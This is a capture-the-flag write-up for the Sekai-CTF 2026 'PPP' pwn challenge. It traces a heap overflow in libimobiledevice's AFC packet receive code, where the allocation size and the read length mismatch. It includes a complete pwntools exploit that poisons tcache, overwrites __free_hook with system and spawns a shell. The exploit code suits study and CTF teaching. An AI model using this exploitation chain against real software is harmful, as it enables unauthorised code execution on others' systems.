[Sekai-CTF 2026]-Pwn/PPP

Overview#

This is easiest pwn challenge in sekai ctf, and it got quite some solves and it was very nerfed. No ASLR, No safe linking in libc. No ASLR was really a nail in the coffin cuz it made challenge a lot easier than it would be.

Day 2#

I entered in CTF kinda late and saw a challenge with tagged zero day and easy, has lotta solves. My excitement dropped by half cuz I kinda don’t like auditing long source code in CTF. On first glance it seemed a networking type challenges, sending and receiving packets both via stdin. Well Vuln was not hard to find but I couldn’t setup the gdb and I took my first L and accepted the infra-setup-skill-issue and went to nap.

Day 3#

I wokeup and saw that my webber teammate already solved it and submitted the flag. I took another L and went to sleep.

Day 7#

After getting humiliated by pwn challenges in R3CTF, I came back to this challenge and this time I was not alone, I had clanker in my antigravity with me, and told it to setup the debugging environment. And i was back again with gdb, my my preciousssss… But then I found out that I can’t setup break point in it and neither there was any debug symbols. And now instead of challenge I got nerfed. But I could see the memory mapping and It was more than enough to solve.

entrypoint dockerfiledebug remotescript

Sauce Code & Exploitation#

Honestly there are too many loc and I don’t want to insert every loc in this blog. I’ll just add some snippet and explain stuff. Morever, I’ll just mention how I solved this challenge instead of just posting the solves. There is too much to audit and most of the loc in sauce in not even necessary to know. Only thing required to solve this is to know where is malloc and free.

wait_for_input

As you can see it is menu type with some option and when i enter ls it prints 8-byte AFC_MAGIC_STR and waits for input.

1
else if (!strcmp(cmd, "ls")) {
2
char **l = NULL;
3
afc_error_t e = afc_read_directory(afc, arg ? arg : "/", &l);
4
if (e == AFC_E_SUCCESS && l) print_names(l);
5
else printf("ls: afc error %d\n", e);

afc_read_directory is called with afc and arg from input. Touring the source code in libimobildevice,

1
afc_error_t afc_read_directory(afc_client_t client, const char *path, char ***directory_information)
2
{
3
  uint32_t bytes = 0;
4
  char *data = NULL, **list_loc = NULL;
5
  afc_error_t ret = AFC_E_UNKNOWN_ERROR;
6

7
  if (!client || !path || !directory_information || (directory_information && *directory_information))
8
    return AFC_E_INVALID_ARG;
9

10
  afc_lock(client);
11

12
  uint32_t data_len = (uint32_t)strlen(path)+1;
13
  if (_afc_check_packet_buffer(client, data_len) < 0) {
14
    afc_unlock(client);
15
    debug_info("Failed to realloc packet buffer");
16
    return AFC_E_NO_MEM;
17
  }
18

19
  /* Send the command */
20
  memcpy(AFC_PACKET_DATA_PTR, path, data_len);
21
  ret = afc_dispatch_packet(client, AFC_OP_READ_DIR, data_len, NULL, 0, &bytes);
22
  if (ret != AFC_E_SUCCESS) {
23
    afc_unlock(client);
24
    return AFC_E_NOT_ENOUGH_DATA;
25
  }
26
  /* Receive the data */
27
  ret = afc_receive_data(client, &data, &bytes);

This last line is lifeline of this challenge. My initial guess was that the MAGIC string that is getting printed must be due to the afc_dispatch_packet.

1
static afc_error_t afc_receive_data(afc_client_t client, char **bytes, uint32_t *bytes_recv)
2
{
3
  AFCPacket header;
4
  uint32_t entire_len = 0;
5
  uint32_t this_len = 0;
6
  uint32_t current_count = 0;
7
  uint64_t param1 = -1;
8
  char *buf = NULL;
9
  uint32_t recv_len = 0;
10

11
  if (bytes_recv) {
12
    *bytes_recv = 0;
13
  }
14
  if (bytes) {
15
    *bytes = NULL;
16
  }
17

18
  /* first, read the AFC header */
19
  afc_error_t err = service_to_afc_error(service_receive(client->parent, (char*)&header, sizeof(AFCPacket), &recv_len));
20
  if (err != AFC_E_SUCCESS) {
21
    debug_info("Failed to receive AFC header: %s (%d)", afc_strerror(err), err);
22
    return err;
23
  }
24
  if (recv_len == 0) {
25
    debug_info("Just didn't get enough.");
26
    return AFC_E_NOT_ENOUGH_DATA;
27
  }
28

29
  if (recv_len < sizeof(AFCPacket)) {
30
    debug_info("Did not even get the AFCPacket header");
31
    return AFC_E_NOT_ENOUGH_DATA;
32
  }
33
    /* make sure endianness is correct */
34
  AFCPacket_from_LE(&header);

As comment mentioned, the input from user is due to service_to_afc_error and it recv_len should be equal to size of AFCpacket. I found about AFCPacket in given source code which is this

1
typedef struct {
2
  char magic[AFC_MAGIC_LEN];
3
  uint64_t entire_length, this_length, packet_num, operation;
4
} AFCPacket;
5

6
#define AFCPacket_to_LE(x) \
7
   (x)->entire_length = htole64((x)->entire_length); \
8
  (x)->this_length   = htole64((x)->this_length); \
9
  (x)->packet_num    = htole64((x)->packet_num); \
10
  (x)->operation     = htole64((x)->operation);
11

12
#define AFCPacket_from_LE(x) \
13
  (x)->entire_length = le64toh((x)->entire_length); \
14
  (x)->this_length   = le64toh((x)->this_length); \
15
  (x)->packet_num    = le64toh((x)->packet_num); \
16
  (x)->operation     = le64toh((x)->operation);

So input should be in form of this struct, and also confirmed from AFCPacket_from_LE this line.

1
  /* check if it's a valid AFC header */
2
  if (strncmp(header.magic, AFC_MAGIC, AFC_MAGIC_LEN) != 0) {
3
    debug_info("Invalid AFC packet received (magic != " AFC_MAGIC ")!");
4
    return AFC_E_UNKNOWN_PACKET_TYPE;
5
  }
6

7
/* check if it has the correct packet number */
8
  if (header.packet_num != client->afc_packet->packet_num) {
9
    /* otherwise print a warning but do not abort */
10
    debug_info("ERROR: Unexpected packet number (%lld != %lld) aborting.", header.packet_num, client->afc_packet->packet_num);
11
    return AFC_E_OP_HEADER_INVALID;
12
  }
13

14
  /* then, read the attached packet */
15
  if (header.this_length < sizeof(AFCPacket)) {
16
    debug_info("Invalid AFCPacket header received!");
17
    return AFC_E_OP_HEADER_INVALID;
18
  }
19
  if ((header.this_length == header.entire_length)
20
    && header.entire_length == sizeof(AFCPacket)) {
21
    debug_info("Empty AFCPacket received!");
22
    if (header.operation == AFC_OP_DATA) {
23
      return AFC_E_SUCCESS;
24
    }
25
    return AFC_E_IO_ERROR;
26
  }

Now this is some condition to validate the packet, this_lenght should be less than 0x28 and this_length should not be equal to entire_length and 0x28 otherwise this will return.

1
  entire_len = (uint32_t)header.entire_length - sizeof(AFCPacket);
2
  this_len = (uint32_t)header.this_length - sizeof(AFCPacket);
3

4
  buf = (char*)malloc(entire_len);
5
  if (this_len > 0) {
6
    recv_len = 0;
7
    err = service_to_afc_error(service_receive(client->parent, buf, this_len, &recv_len));
8
    if (err != AFC_E_SUCCESS) {
9
      free(buf);
10
      debug_info("Failed to receive data: %s (%d)", afc_strerror(err), err);
11
    }
12
    if (recv_len <= 0) {
13
      free(buf);
14
      debug_info("Did not get packet contents!");
15
      return (err == AFC_E_SUCCESS) ? AFC_E_NOT_ENOUGH_DATA : err;
16
    }
17
    if (recv_len < this_len) {
18
      free(buf);
19
      debug_info("Could not receive this_len=%d bytes", this_len);
20
      return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
21
    }
22
  }
23

24
  current_count = this_len;
25
  if (entire_len > this_len) {
26
    while (current_count < entire_len) {
27
      recv_len = 0;
28
      err = service_to_afc_error(service_receive(client->parent, buf+current_count, entire_len - current_count, &recv_len));
29
      if (err != AFC_E_SUCCESS) {
30
        debug_info("Error receiving data: %s (%d)", afc_strerror(err), err);
31
        break;
32
      }
33
      if (recv_len <= 0) {
34
        debug_info("Error receiving data (recv returned %d)", recv_len);
35
        break;
36
      }
37
      current_count += recv_len;
38
    }
39
    if (current_count < entire_len) {
40
      free(buf);
41
      debug_info("ERROR: Could not receive entire packet (read %i/%i)", current_count, entire_len);
42
      return (err == AFC_E_SUCCESS) ? AFC_E_END_OF_DATA : err;
43
    }
44
  }

Now comes the banger line, It firsts update both entire_lenth and this_length and allocate a chunk with size of updated_entire_length, but it reads upto updated_this_Length in service_to_afc_error granting us a very sweet heap overflow. You can read the source code in service.c and device.c, I tested it with gef and indeed top_chunk was corrupted.

1
io.recvuntil(b"afc>")
2
io.sendline(b"ls ")
3
payload = packet(0x50,0x60,0x1,0x0)
4
io.send(payload)
5
io.send(b"A"*(0x60-0x28))

corrupt_top_chunk

error_debug

To check this lfc error number I used this API Documentation so just to know in which loc error occured.

One of the check is afc_recieve_data was of correct packet num. In afc_dispatch_packet packet num is updated by +1. So I tested this by sending two consecutive packets starting from 0x1 and then 0x2 and it returned with no error.

1
static afc_error_t afc_dispatch_packet(afc_client_t client, uint64_t operation, uint32_t data_length, const char* payload, uint32_t payload_length, uint32_t *bytes_sent)
2
{
3
  uint32_t sent = 0;
4

5
  if (!client || !client->parent || !client->afc_packet)
6
    return AFC_E_INVALID_ARG;
7

8
  *bytes_sent = 0;
9

10
  if (!payload || !payload_length)
11
    payload_length = 0;
12

13
  client->afc_packet->packet_num++;
14
  client->afc_packet->operation = operation;
15
  client->afc_packet->entire_length = sizeof(AFCPacket) + data_length + payload_length;
16
  client->afc_packet->this_length = sizeof(AFCPacket) + data_length;

now next is some operation check and then

1
  if (bytes) {
2
    *bytes = buf;
3
  } else {
4
    free(buf);
5
  }
6

7
  *bytes_recv = current_count;
8
  return AFC_E_SUCCESS;

I initially did not understand this code but later i found it is way to manage memory. In this afc_read_directory bytes in not null so if condition is true.

1
  /* Receive the data */
2
  ret = afc_receive_data(client, &data, &bytes);
3
  if (ret != AFC_E_SUCCESS) {
4
    if (data)
5
      free(data);
6
    afc_unlock(client);
7
    return ret;
8
  }
9
  /* Parse the data */
10
  list_loc = make_strings_list(data, bytes);
11
  if (data)
12
    free(data);
13

14
  afc_unlock(client);
15
  *directory_information = list_loc;
16

17
  return ret;

So if ret is AFC_E_SUCCESS, it does not free the memory and make_strings_list is not really necessary for exploit purpose but it does allocate a chunk of 0x20 bytes. But when I tested it in gdb I found out that memory is freed, and the reason is this in afc_list.c

1
/* free the parsed list (in cleanup order: reverse) */
2
static void free_list(char **list, int n)
3
{
4
    for (int i = n - 1; i >= 0; i--) free(list[i]);
5
    free(list);
6
}
7

8
/* directory / device listings: one entry per line */
9
static void print_names(char **list)
10
{
11
    int n = 0;
12
    while (list[n]) { puts(list[n]); n++; }
13
    free_list(list, n);
14
}

So there is heap overflow, every memory is freed after it returns but wait if there is no print_names then memory is not freed, right?

1
        } else if (!strcmp(cmd, "mkdir")) {
2
            afc_error_t e = afc_make_directory(afc, arg ? arg : "/");
3
            puts(e == AFC_E_SUCCESS ? "OK" : "mkdir failed");

So I tried to mkdir with my tongue open and when i clicked vis in gef, I got clowned. As my hasty assumption was wrong.

1
afc_error_t afc_make_directory(afc_client_t client, const char *path)
2
{
3
  uint32_t bytes = 0;
4
  afc_error_t ret = AFC_E_UNKNOWN_ERROR;
5

6
  if (!client)
7
    return AFC_E_INVALID_ARG;
8

9
  afc_lock(client);
10

11
  uint32_t data_len = (uint32_t)strlen(path)+1;
12
  if (_afc_check_packet_buffer(client, data_len) < 0) {
13
    afc_unlock(client);
14
    debug_info("Failed to realloc packet buffer");
15
    return AFC_E_NO_MEM;
16
  }
17

18
  /* Send command */
19
  memcpy(AFC_PACKET_DATA_PTR, path, data_len);
20
  ret = afc_dispatch_packet(client, AFC_OP_MAKE_DIR, data_len, NULL, 0, &bytes);
21
  if (ret != AFC_E_SUCCESS) {
22
    afc_unlock(client);
23
    return AFC_E_NOT_ENOUGH_DATA;
24
  }
25
  /* Receive response */
26
  ret = afc_receive_data(client, NULL, &bytes);
27

28
  afc_unlock(client);
29

30
  return ret;
31
}

In afc_read_directory, afc_recieve_data is called with NULL in second argument so due to this loc buffer is going to be freed.

1
  if (bytes) {
2
    *bytes = buf;
3
  } else {
4
    free(buf);
5
  }
6

7
  *bytes_recv = current_count;
8
  return AFC_E_SUCCESS;

I tried all other options in afc_list and in one way or another, memory is always going to be freed. And in this way there is not going to be a next_chunk pointer that can be corrupted by heap overflows. So I started looking for another vuln or some logic bugs that will cause double-free, but I could not find any.

So I started looking for another way to get heap pointer in chunk. Due to heap overflow, we can control not only change next_pointer but size of adjacent chunk too.

1
  if (tc_idx < mp_.tcache_bins
2
      && tcache
3
      && tcache->counts[tc_idx] > 0)
4
    {
5
      return tcache_get (tc_idx);
6
    }
7

8
/* Caller must ensure that we know tc_idx is valid and there's
9
   available chunks to remove.  */
10
static __always_inline void *
11
tcache_get (size_t tc_idx)
12
{
13
  tcache_entry *e = tcache->entries[tc_idx];
14
  tcache->entries[tc_idx] = e->next;
15
  --(tcache->counts[tc_idx]);
16
  e->key = NULL;
17
  return (void *) e;
18
}

So when a chunk is allocated via malloc from tcache bins, size and address is known via tcache_perthread_struct but when a chunk is freed, the bins size is determined via chunk_metadata.

1
io.recvuntil(b"afc>")
2
io.sendline(b"ls ")
3
payload = packet(0x50,0x40,0x1,0x2)
4
io.send(payload)
5
io.send(b"A"*(0x50-0x28))
6

7
io.recvuntil(b"afc>")
8
io.sendline(b"ls ")
9
payload = packet(0x50,0x60,0x2,0x2)
10
io.send(payload)
11
io.send(b"A"*(0x50-0x28))
12

13

14
io.recvuntil(b"afc>")
15
io.sendline(b"ls ")
16
payload = packet(0x70,0x60,0x3,0x2)
17
io.send(payload)
18
io.send(b"A"*(0x70-0x28))
19

20

21
io.recvuntil(b"afc>")
22
io.sendline(b"ls ")
23
payload = packet(0x40,0x60,0x4,0x2)
24
io.send(payload)
25
io.send(b"A"*(0x40-0x28)+pack(0x31))
26

27

28
io.recvuntil(b"afc>")
29
io.sendline(b"ls ")
30
payload = packet(0x70,0x60,0x5,0x0)
31
io.send(payload)
32
io.send(b"A"*(0x70-0x28))
33

34
libc_base = 0x00007ffff7d65000
35
free_hook = libc_base+0x0000000001eee48
36
one_gadget = libc_base+0xe3b04

next-pointer

And we got the next_pointer in chunk and we can change that to __free_hook. To gain control of the the __free_hook we have to change the size of chunk again. when this freed_chunk will be malloced the __free_hook pointer will be written to tcache_perthread_struct but when the chunk will be freed the bins_size will be our updated_size leaving the __free_hook pointer in tcache_perthread_struct untouched.

free-hook-in-free-list

1
from pwn import *
2
import subprocess
3
context.log_level = "debug"
4
elf = context.binary = ELF("./afc_list")
5
io = remote("localhost", 5000)
6
# io = remote("ppp.chals.sekai.team", 1337)
7

8
def get_pid():
9
    local_port = io.sock.getsockname()[1]
10
    cmd = f"sudo lsof -n -iTCP:5000 -sTCP:ESTABLISHED | grep socat | grep ':{local_port}'"
11
    output = subprocess.check_output(cmd, shell=True).decode()
12
    socat_pid = int(output.split()[1])
13
    cmd2 = f"pgrep -P {socat_pid}"
14
    child_pid = int(subprocess.check_output(cmd2, shell=True).decode().strip())
15
    return child_pid
16

17
def gef(pid):
18
    gdb.attach(pid, gdbscript="""
19
# break *0x4011f0
20
""", exe=elf.path)
21

22
def gdb_with_pid():
23
    gef(get_pid())
24

25
gdb_with_pid()
26

27
def packet(entire_length,this_length,packet_num,operation):
28
    return b"CFA6LPAA"+pack(entire_length)+pack(this_length)+pack(packet_num)+pack(operation)
29

30
io.recvuntil(b"afc>")
31
io.sendline(b"ls ")
32
payload = packet(0x50,0x40,0x1,0x2)
33
io.send(payload)
34
io.send(b"A"*(0x50-0x28))
35

36
io.recvuntil(b"afc>")
37
io.sendline(b"ls ")
38
payload = packet(0x50,0x60,0x2,0x2)
39
io.send(payload)
40
io.send(b"A"*(0x50-0x28))
41

42

43
io.recvuntil(b"afc>")
44
io.sendline(b"ls ")
45
payload = packet(0x70,0x60,0x3,0x2)
46
io.send(payload)
47
io.send(b"A"*(0x70-0x28))
48

49

50
io.recvuntil(b"afc>")
51
io.sendline(b"ls ")
52
payload = packet(0x40,0x60,0x4,0x2)
53
io.send(payload)
54
io.send(b"A"*(0x40-0x28)+pack(0x31))
55

56

57
io.recvuntil(b"afc>")
58
io.sendline(b"ls ")
59
payload = packet(0x70,0x60,0x5,0x2)
60
io.send(payload)
61
io.send(b"A"*(0x70-0x28))
62

63
libc_base = 0x00007ffff7d65000
64
free_hook = libc_base+0x0000000001eee48
65
one_gadget = libc_base+0xe3b04
66

67

68

69
io.recvuntil(b"afc>")
70
io.sendline(b"ls ")
71
payload = packet(0x40,0x60,0x6,0x2)
72
io.send(payload)
73
io.send(b"A"*(0x40-0x28)+pack(0x31)+pack(free_hook-0x8))
74

75

76

77
io.recvuntil(b"afc>")
78
io.sendline(b"ls ")
79
payload = packet(0x40,0x60,0x7,0x0)
80
io.send(payload)
81
io.send(b"A"*(0x40-0x28)+pack(0x51))
82

83
# #malloc 0x31 bytes
84

85
io.recvuntil(b"afc>")
86
io.sendline(b"ls ")
87
payload = packet(0x50,0x60,0x8,0x0)
88
io.send(payload)
89
io.send(b"A"*(0x50-0x28))
90

91

92

93
io.recvuntil(b"afc>")
94
io.sendline(b"ls ")
95
payload = packet(0x50,0x60,0x9,0x0)
96
io.send(payload)
97
# payload = b"/readflag sekai ppp"
98
payload = b"/bin/sh\x00"
99
# payload+=b"\x00"*(0x28-len(payload))
100
payload += pack(libc_base+0x0000000000052290)
101
print(len(payload))
102
io.send(payload)
103
io.interactive()

All the attachments are here:github

Aftermath#

This challenge was more fun than I expected, touring through the codebases was kinda good and slightly helped in removing my fear of big codebases.